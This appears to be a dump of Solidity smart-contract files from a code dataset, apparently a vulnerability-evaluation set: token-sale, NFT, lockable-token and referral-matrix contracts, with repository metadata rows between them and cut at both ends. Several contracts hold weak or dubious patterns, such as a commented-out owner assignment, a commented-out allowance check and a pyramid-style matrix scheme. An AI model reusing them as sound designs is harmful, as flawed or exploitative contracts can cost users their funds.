require(success && (data.length == 0 || abi.decode(data, (bool))), 'YouSwap: TRANSFER_FAILED');
}
function _mintYou(address token, address recipient, uint256 amount) private {
bytes4 methodId = bytes4(keccak256(bytes('mint(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(methodId, recipient, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'YouSwap: TRANSFER_FAILED');
}
function _transfer(address token, address recipient, uint amount) private {
bytes4 methodId = bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(methodId, recipient, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'YouSwap: TRANSFER_FAILED');
}
}
| 194,012 | 287 |
b7b1114eb261dcbe7de9d46623e7bf888461fd2a7c8b87e38c40364b204502c5
| 13,711 |
.sol
|
Solidity
| false |
111633870
|
bokkypoobah/Tokens
|
97950a9e4915596d1ec00887c3c1812cfdb122a2
|
Mainnet-token-contracts-20180610/contracts/0x38c6a68304cdefb9bec48bbfaaba5c5b47818bb2-HPB-HPBCoin.sol
| 2,797 | 10,805 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/// @title HPB Protocol Token.
/// For more information about this token sale, please visit https://gxn.io
/// @author Arnold - <arnold@gxn.io>, Bob - <bob@gxn.io>.
contract HPBToken is StandardToken {
string public constant NAME = "HPBCoin";
string public constant SYMBOL = "HPB";
uint public constant DECIMALS = 18;
/// During token sale, we use one consistent price: 1000 HPB/ETH.
/// We split the entire token sale period into 3 phases, each
/// phase has a different bonus setting as specified in `bonusPercentages`.
/// The real price for phase i is `(1 + bonusPercentages[i]/100.0) * BASE_RATE`.
/// The first phase or early-bird phase has a much higher bonus.
uint8[10] public bonusPercentages = [
20,
10,
0
];
uint public constant NUM_OF_PHASE = 3;
/// Each phase contains exactly 29000 Ethereum blocks, which is roughly 7 days,
/// which makes this 3-phase sale period roughly 21 days.
/// See https://www.ethereum.org/crowdsale#scheduling-a-call
uint16 public constant BLOCKS_PER_PHASE = 29000;
/// This is where we hold ETH during this token sale. We will not transfer any Ether
/// out of this address before we invocate the `close` function to finalize the sale.
/// This promise is not guanranteed by smart contract by can be verified with public
/// Ethereum transactions data available on several blockchain browsers.
/// This is the only address from which `start` and `close` can be invocated.
///
/// Note: this will be initialized during the contract deployment.
address public target;
/// `firstblock` specifies from which block our token sale starts.
/// This can only be modified once by the owner of `target` address.
uint public firstblock = 0;
/// Indicates whether unsold token have been issued. This part of HPB token
/// is managed by the project team and is issued directly to `target`.
bool public unsoldTokenIssued = false;
/// Minimum amount of funds to be raised for the sale to succeed.
uint256 public constant GOAL = 3000 ether;
/// Maximum amount of fund to be raised, the sale ends on reaching this amount.
uint256 public constant HARD_CAP = 4500 ether;
/// Base exchange rate is set to 1 ETH = 1050 HPB.
uint256 public constant BASE_RATE = 1050;
/// A simple stat for emitting events.
uint public totalEthReceived = 0;
/// Issue event index starting from 0.
uint public issueIndex = 0;
/// Emitted only once after token sale starts.
event SaleStarted();
/// Emitted only once after token sale ended (all token issued).
event SaleEnded();
/// Emitted when a function is invocated by unauthorized addresses.
event InvalidCaller(address caller);
/// Emitted when a function is invocated without the specified preconditions.
/// This event will not come alone with an exception.
event InvalidState(bytes msg);
/// Emitted for each sucuessful token purchase.
event Issue(uint issueIndex, address addr, uint ethAmount, uint tokenAmount);
/// Emitted if the token sale succeeded.
event SaleSucceeded();
/// Emitted if the token sale failed.
/// When token sale failed, all Ether will be return to the original purchasing
/// address with a minor deduction of transaction feeas)
event SaleFailed();
modifier onlyOwner {
if (target == msg.sender) {
_;
} else {
InvalidCaller(msg.sender);
throw;
}
}
modifier beforeStart {
if (!saleStarted()) {
_;
} else {
InvalidState("Sale has not started yet");
throw;
}
}
modifier inProgress {
if (saleStarted() && !saleEnded()) {
_;
} else {
InvalidState("Sale is not in progress");
throw;
}
}
modifier afterEnd {
if (saleEnded()) {
_;
} else {
InvalidState("Sale is not ended yet");
throw;
}
}
function HPBToken(address _target) {
target = _target;
totalSupply = 10 ** 26;
balances[target] = totalSupply;
}
/// @dev Start the token sale.
/// @param _firstblock The block from which the sale will start.
function start(uint _firstblock) public onlyOwner beforeStart {
if (_firstblock <= block.number) {
// Must specify a block in the future.
throw;
}
firstblock = _firstblock;
SaleStarted();
}
/// @dev Triggers unsold tokens to be issued to `target` address.
function close() public onlyOwner afterEnd {
if (totalEthReceived < GOAL) {
SaleFailed();
} else {
SaleSucceeded();
}
}
/// @dev Returns the current price.
function price() public constant returns (uint tokens) {
return computeTokenAmount(1 ether);
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () payable {
issueToken(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param recipient Address that newly issued token will be sent to.
function issueToken(address recipient) payable inProgress {
// We only accept minimum purchase of 0.01 ETH.
assert(msg.value >= 0.01 ether);
// We only accept maximum purchase of 35 ETH.
assert(msg.value <= 35 ether);
// We only accept totalEthReceived < HARD_CAP
uint ethReceived = totalEthReceived + msg.value;
assert(ethReceived <= HARD_CAP);
uint tokens = computeTokenAmount(msg.value);
totalEthReceived = totalEthReceived.add(msg.value);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[target] = balances[target].sub(tokens);
Issue(issueIndex++,
recipient,
msg.value,
tokens);
if (!target.send(msg.value)) {
throw;
}
}
/// @dev Compute the amount of HPB token that can be purchased.
/// @param ethAmount Amount of Ether to purchase HPB.
/// @return Amount of HPB token to purchase
function computeTokenAmount(uint ethAmount) internal constant returns (uint tokens) {
uint phase = (block.number - firstblock).div(BLOCKS_PER_PHASE);
// A safe check
if (phase >= bonusPercentages.length) {
phase = bonusPercentages.length - 1;
}
uint tokenBase = ethAmount.mul(BASE_RATE);
uint tokenBonus = tokenBase.mul(bonusPercentages[phase]).div(100);
tokens = tokenBase.add(tokenBonus);
}
/// @return true if sale has started, false otherwise.
function saleStarted() constant returns (bool) {
return (firstblock > 0 && block.number >= firstblock);
}
/// @return true if sale has ended, false otherwise.
function saleEnded() constant returns (bool) {
return firstblock > 0 && (saleDue() || hardCapReached());
}
/// @return true if sale is due when the last phase is finished.
function saleDue() constant returns (bool) {
return block.number >= firstblock + BLOCKS_PER_PHASE * NUM_OF_PHASE;
}
/// @return true if the hard cap is reached.
function hardCapReached() constant returns (bool) {
return totalEthReceived >= HARD_CAP;
}
}
| 247,196 | 288 |
c6eca620fba2ed1f411f9d845c514249a4b6a5c997ecbbef940a0a00e254dae3
| 16,563 |
.sol
|
Solidity
| false |
443398327
|
cuytoken/pachacuy-smart-contracts
|
58c25136d82c89b2f041e6380db9ccbe0ce62a0b
|
contracts/nft/PachacuyNftCollection.sol
| 3,353 | 12,895 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
contract PachacuyNftCollection is
Initializable,
ERC721Upgradeable,
ERC721EnumerableUpgradeable,
PausableUpgradeable,
AccessControlUpgradeable,
ERC721BurnableUpgradeable,
UUPSUpgradeable,
ReentrancyGuardUpgradeable
{
using CountersUpgradeable for CountersUpgradeable.Counter;
CountersUpgradeable.Counter private _tokenIdCounter;
using StringsUpgradeable for uint256;
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant UPGRADER_ROLE = keccak256("UPGRADER_ROLE");
uint256 public maxSupply;
// Price when NFT acquired randomly
uint256 public nftCurrentPrice;
// Price whtn purchase by using an ID
uint256 public explorerPrice; // 1 - "EXPLORADOR"
uint256 public phenomenoPrice; // 2 - "FENOMEMO"
uint256 public mysticPrice; // 3 - "MISTICO"
uint256 public legendaryPrice; // 4 - "LEGENDARIO"
uint256 public mandingoPrice; // 5 - "MANDINGO
// mapping types of NFTs
mapping(uint256 => bool) phenomenomMap; // FENOMENO - 1
mapping(uint256 => bool) mysticMap; // MISTICO - 2
mapping(uint256 => bool) legendaryMap; // MISTICO - 3
// BUSD token
using SafeERC20Upgradeable for IERC20Upgradeable;
IERC20Upgradeable public busdToken;
// custodian wallet for busd
address public custodianWallet;
// baseUri
string public baseUri;
// whitelist
struct Whitelister {
address account;
bool claimed;
bool inWhitelist;
}
mapping(address => Whitelister) whitelist;
// Reserved NFT
mapping(uint256 => bool) reservedNft;
uint256[] public listOfReservedNft;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize(string memory _tokenName,
string memory _tokenSymbol,
uint256 _maxSupply,
uint256 _nftCurrentPrice,
address _busdAddress,
address _custodianWallet,
string memory _baseUri,
uint256[] memory _phenomenomList,
uint256[] memory _mysticList,
uint256[] memory _legendaryList) public initializer {
__ERC721_init(_tokenName, _tokenSymbol);
__ERC721Enumerable_init();
__Pausable_init();
__AccessControl_init();
__ERC721Burnable_init();
__UUPSUpgradeable_init();
_grantRole(PAUSER_ROLE, _msgSender());
_grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
_grantRole(MINTER_ROLE, _msgSender());
_grantRole(UPGRADER_ROLE, _msgSender());
maxSupply = _maxSupply;
nftCurrentPrice = _nftCurrentPrice;
// Default prices for each type
explorerPrice = _nftCurrentPrice;
phenomenoPrice = _nftCurrentPrice;
mysticPrice = _nftCurrentPrice;
legendaryPrice = _nftCurrentPrice;
mandingoPrice = _nftCurrentPrice;
busdToken = IERC20Upgradeable(_busdAddress);
custodianWallet = _custodianWallet;
baseUri = _baseUri;
// setting up types of nfts for appropriate pricing
_addRarityToMap(2, _phenomenomList);
_addRarityToMap(3, _mysticList);
_addRarityToMap(4, _legendaryList);
}
function safeMint(address to)
public
whenNotPaused
nonReentrant
onlyRole(MINTER_ROLE)
{
_deliverNft(to);
}
function safeMint(address to, uint256 id)
public
whenNotPaused
nonReentrant
onlyRole(MINTER_ROLE)
{
_deliverNftById(to, id);
}
function _deliverNft(address to) internal {
uint256 tokenId = _tokenIdCounter.current();
while (_exists(tokenId) || reservedNft[tokenId]) {
_tokenIdCounter.increment();
tokenId = _tokenIdCounter.current();
}
if (tokenId >= maxSupply) {
revert("Pachachuy NFT Collection: the ID count has reached its maximun supply.");
}
_safeMint(to, tokenId);
}
function _deliverNftById(address to, uint256 id) internal {
require(!_exists(id),
"Pachacuy NFT Collection: This NFT id has been minted already.");
require(id >= 0 && id < maxSupply,
"Pachacuy NFT Collection: incorrect ID out of bounds.");
_safeMint(to, id);
}
function purchaseNftWithBusdAndId(uint256 _id) public nonReentrant {
// Verify that NFT id do not have an owner
require(!_exists(_id),
"Pachacuy NFT Collection: This NFT id has been minted already.");
// Verify that NFT id is not a reserved one
require(!reservedNft[_id],
"Pachacuy NFT Collection: You cannot mint a Reserved NFT ID.");
(uint256 priceForNftWithId,) = calculatePriceByNftId(_id);
// Customer needs to give allowance to Smart Contract
// Verify if customer has BUSDC balance
require(busdToken.balanceOf(_msgSender()) >= priceForNftWithId,
"Pachacuy NFT Collection: Not enough BUSD balance.");
// Verify id customer has given allowance to NFT Smart Contract
require(busdToken.allowance(_msgSender(), address(this)) >=
priceForNftWithId,
"Pachacuy NFT Collection: Allowance has not been given.");
// SC transfers BUSD from purchaser to custodian wallet
busdToken.safeTransferFrom(_msgSender(),
custodianWallet,
priceForNftWithId);
_deliverNftById(_msgSender(), _id);
}
function purchaseNftWithBusd() public nonReentrant {
// Customer needs to give allowance to Smart Contract
// Verify if customer has BUSDC balance
require(busdToken.balanceOf(_msgSender()) >= nftCurrentPrice,
"Pachacuy NFT Collection: Not enough BUSD balance.");
// Verify id customer has given allowance to NFT Smart Contract
require(busdToken.allowance(_msgSender(), address(this)) >= nftCurrentPrice,
"Pachacuy NFT Collection: Allowance has not been given.");
// SC transfers BUSD from purchaser to custodian wallet
busdToken.safeTransferFrom(_msgSender(),
custodianWallet,
nftCurrentPrice);
_deliverNft(_msgSender());
}
function claimFreeNftByWhitelist() public nonReentrant {
require(whitelist[_msgSender()].inWhitelist,
"Pachacuy NFT Collection: Account is not in whitelist.");
require(!whitelist[_msgSender()].claimed,
"Pachacuy NFT Collection: Whitelist account already claimed one NFT.");
whitelist[_msgSender()].claimed = true;
_deliverNft(_msgSender());
}
///////////////////////////////////////////////////////////////
//// HELPER FUNCTIONS ////
///////////////////////////////////////////////////////////////
function setNftCurrentPrice(uint256 _newNftCurrentPrice)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
nftCurrentPrice = _newNftCurrentPrice;
}
function addToWhitelistBatch(address[] memory _addresses)
external
onlyRole(DEFAULT_ADMIN_ROLE)
whenNotPaused
{
for (uint256 iy = 0; iy < _addresses.length; iy++) {
if (!whitelist[_addresses[iy]].inWhitelist) {
whitelist[_addresses[iy]] = Whitelister({
account: _addresses[iy],
claimed: false,
inWhitelist: true
});
}
}
}
function addReservedNftIdsBatch(uint256[] memory _ids)
external
onlyRole(DEFAULT_ADMIN_ROLE)
whenNotPaused
{
for (uint256 i = 0; i < _ids.length; i++) {
uint256 id = _ids[i];
if (id >= 0 && id < maxSupply && !reservedNft[id]) {
reservedNft[id] = true;
listOfReservedNft.push(id);
}
}
}
function pause() public onlyRole(PAUSER_ROLE) {
_pause();
}
function unpause() public onlyRole(PAUSER_ROLE) {
_unpause();
}
function isWhitelisted(address _account) public view returns (bool) {
return whitelist[_account].inWhitelist;
}
function setPriceOfRarity(uint256 _ixRarity, uint256 _price)
public
whenNotPaused
onlyRole(DEFAULT_ADMIN_ROLE)
{
require((_ixRarity == 1) ||
(_ixRarity == 2) ||
(_ixRarity == 3) ||
(_ixRarity == 4) ||
(_ixRarity == 5),
"Pachacuy NFT Collection: Index of rarity goes from one (1) to five (5).");
if (_ixRarity == 1) explorerPrice = _price;
if (_ixRarity == 2) phenomenoPrice = _price;
if (_ixRarity == 3) mysticPrice = _price;
if (_ixRarity == 4) legendaryPrice = _price;
if (_ixRarity == 5) mandingoPrice = _price;
}
function _addRarityToMap(uint256 _ix, uint256[] memory _listRarity)
internal
{
if (_ix == 2) {
for (uint256 x = 0; x < _listRarity.length; x++) {
phenomenomMap[_listRarity[x]] = true;
}
return;
} else if (_ix == 3) {
for (uint256 y = 0; y < _listRarity.length; y++) {
mysticMap[_listRarity[y]] = true;
}
return;
} else if (_ix == 4) {
for (uint256 z = 0; z < _listRarity.length; z++) {
legendaryMap[_listRarity[z]] = true;
}
return;
}
}
function calculatePriceByNftId(uint256 _id)
public
view
returns (uint256, uint256)
{
require(_id < maxSupply,
"Pachacuy NFT Collection: ID pass it not valid.");
if (phenomenomMap[_id]) return (phenomenoPrice, 2);
if (mysticMap[_id]) return (mysticPrice, 3);
if (legendaryMap[_id]) return (legendaryPrice, 4);
if (_id == 1403) return (mandingoPrice, 5);
if (explorerPrice != 0) return (explorerPrice, 1);
return (nftCurrentPrice, 1);
}
function removeItemsFromReserved(uint256[] memory _list)
public
whenNotPaused
onlyRole(DEFAULT_ADMIN_ROLE)
{
for (uint256 i = 0; i < _list.length; i++) {
delete reservedNft[_list[i]];
}
}
///////////////////////////////////////////////////////////////
//// ERC721 STANDARD FUNCTIONS ////
///////////////////////////////////////////////////////////////
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json"))
: "";
}
function _baseURI() internal view override returns (string memory) {
return baseUri;
}
function setBaseURI(string memory _newBaseUri)
public
whenNotPaused
onlyRole(DEFAULT_ADMIN_ROLE)
{
baseUri = _newBaseUri;
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId)
internal
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
whenNotPaused
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _authorizeUpgrade(address newImplementation)
internal
override
onlyRole(UPGRADER_ROLE)
{}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Upgradeable,
ERC721EnumerableUpgradeable,
AccessControlUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
| 4,034 | 289 |
1440e4b491e7dfc69524b93ea114b74fb40ece2ccb98aff9905bc15886843935
| 20,428 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2d1efa7e1d643eed6045b29fd44f9df491bf20be.sol
| 3,234 | 11,637 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
//owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ERC1132 {
mapping(address => bytes32[]) public lockReason;
struct lockToken {
uint256 amount;
uint256 validity;
bool claimed;
}
mapping(address => mapping(bytes32 => lockToken)) public locked;
event Locked(address indexed _of,
bytes32 indexed _reason,
uint256 _amount,
uint256 _validity);
event Unlocked(address indexed _of,
bytes32 indexed _reason,
uint256 _amount);
function lock(bytes32 _reason, uint256 _amount, uint256 _time)
public returns (bool);
function tokensLocked(address _of, bytes32 _reason)
public view returns (uint256 amount);
function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
public view returns (uint256 amount);
function totalBalanceOf(address _of)
public view returns (uint256 amount);
function extendLock(bytes32 _reason, uint256 _time)
public returns (bool);
function increaseLockAmount(bytes32 _reason, uint256 _amount)
public returns (bool);
function tokensUnlockable(address _of, bytes32 _reason)
public view returns (uint256 amount);
function unlock(address _of)
public returns (uint256 unlockableTokens);
function getUnlockableTokens(address _of)
public view returns (uint256 unlockableTokens);
}
contract LockableToken is ERC1132, StandardToken ,BurnableToken ,MintableToken{
string public constant name = "BITROZEX";
string public constant symbol = "BTZ";
uint8 public constant decimals = 8;
string internal constant ALREADY_LOCKED = 'Tokens already locked';
string internal constant NOT_LOCKED = 'No tokens locked';
string internal constant AMOUNT_ZERO = 'Amount can not be 0';
constructor() public {
owner=0x788622aE0633DB0fB25701FdDd66EfAE6f7e08af;
totalSupply_ =42100000*10**8;
balances[owner] = totalSupply_;
}
function Airdrop(ERC20 token, address[] _addresses, uint256 amount) public {
for (uint256 i = 0; i < _addresses.length; i++) {
token.transfer(_addresses[i], amount);
}
}
function lock(bytes32 _reason, uint256 _amount, uint256 _time)
public
returns (bool)
{
uint256 validUntil = now.add(_time); //solhint-disable-line
// If tokens are already locked, then functions extendLock or
// increaseLockAmount should be used to make any changes
require(tokensLocked(msg.sender, _reason) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[msg.sender][_reason].amount == 0)
lockReason[msg.sender].push(_reason);
transfer(address(this), _amount);
locked[msg.sender][_reason] = lockToken(_amount, validUntil, false);
emit Locked(msg.sender, _reason, _amount, validUntil);
return true;
}
function transferWithLock(address _to, bytes32 _reason, uint256 _amount, uint256 _time)
public
returns (bool)
{
uint256 validUntil = now.add(_time); //solhint-disable-line
require(tokensLocked(_to, _reason) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[_to][_reason].amount == 0)
lockReason[_to].push(_reason);
transfer(address(this), _amount);
locked[_to][_reason] = lockToken(_amount, validUntil, false);
emit Locked(_to, _reason, _amount, validUntil);
return true;
}
function tokensLocked(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
if (!locked[_of][_reason].claimed)
amount = locked[_of][_reason].amount;
}
function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
public
view
returns (uint256 amount)
{
if (locked[_of][_reason].validity > _time)
amount = locked[_of][_reason].amount;
}
function totalBalanceOf(address _of)
public
view
returns (uint256 amount)
{
amount = balanceOf(_of);
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(tokensLocked(_of, lockReason[_of][i]));
}
}
function extendLock(bytes32 _reason, uint256 _time)
public
returns (bool)
{
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
locked[msg.sender][_reason].validity = locked[msg.sender][_reason].validity.add(_time);
emit Locked(msg.sender, _reason, locked[msg.sender][_reason].amount, locked[msg.sender][_reason].validity);
return true;
}
function increaseLockAmount(bytes32 _reason, uint256 _amount)
public
returns (bool)
{
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
transfer(address(this), _amount);
locked[msg.sender][_reason].amount = locked[msg.sender][_reason].amount.add(_amount);
emit Locked(msg.sender, _reason, locked[msg.sender][_reason].amount, locked[msg.sender][_reason].validity);
return true;
}
function tokensUnlockable(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
if (locked[_of][_reason].validity <= now && !locked[_of][_reason].claimed) //solhint-disable-line
amount = locked[_of][_reason].amount;
}
function unlock(address _of)
public
returns (uint256 unlockableTokens)
{
uint256 lockedTokens;
for (uint256 i = 0; i < lockReason[_of].length; i++) {
lockedTokens = tokensUnlockable(_of, lockReason[_of][i]);
if (lockedTokens > 0) {
unlockableTokens = unlockableTokens.add(lockedTokens);
locked[_of][lockReason[_of][i]].claimed = true;
emit Unlocked(_of, lockReason[_of][i], lockedTokens);
}
}
if (unlockableTokens > 0)
this.transfer(_of, unlockableTokens);
}
function getUnlockableTokens(address _of)
public
view
returns (uint256 unlockableTokens)
{
for (uint256 i = 0; i < lockReason[_of].length; i++) {
unlockableTokens = unlockableTokens.add(tokensUnlockable(_of, lockReason[_of][i]));
}
}
}
| 214,827 | 290 |
c11492676761d3ad539a09b16b3191941ba538b55b8e5042d419a6e1741d0d2f
| 21,779 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TT7zc1TdYM66DmBGWQp1afMsPgCDnPtdY3_PhoenixTron.sol
| 5,430 | 20,813 |
//SourceUnit: PhoenixTron.sol
pragma solidity >=0.4.23 <0.6.0;
contract PhoenixTron {
struct User {
uint id;
address referrer;
uint partnersCount;
uint O3MaxLevel;
uint O6MaxLevel;
uint O3Income;
uint O6Income;
mapping(uint8 => bool) activeO3Levels;
mapping(uint8 => bool) activeO6Levels;
mapping(uint8 => O3) O3Matrix;
mapping(uint8 => O6) O6Matrix;
}
struct O3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct O6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
uint public totalearnedtrx = 0 trx;
address public owner;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
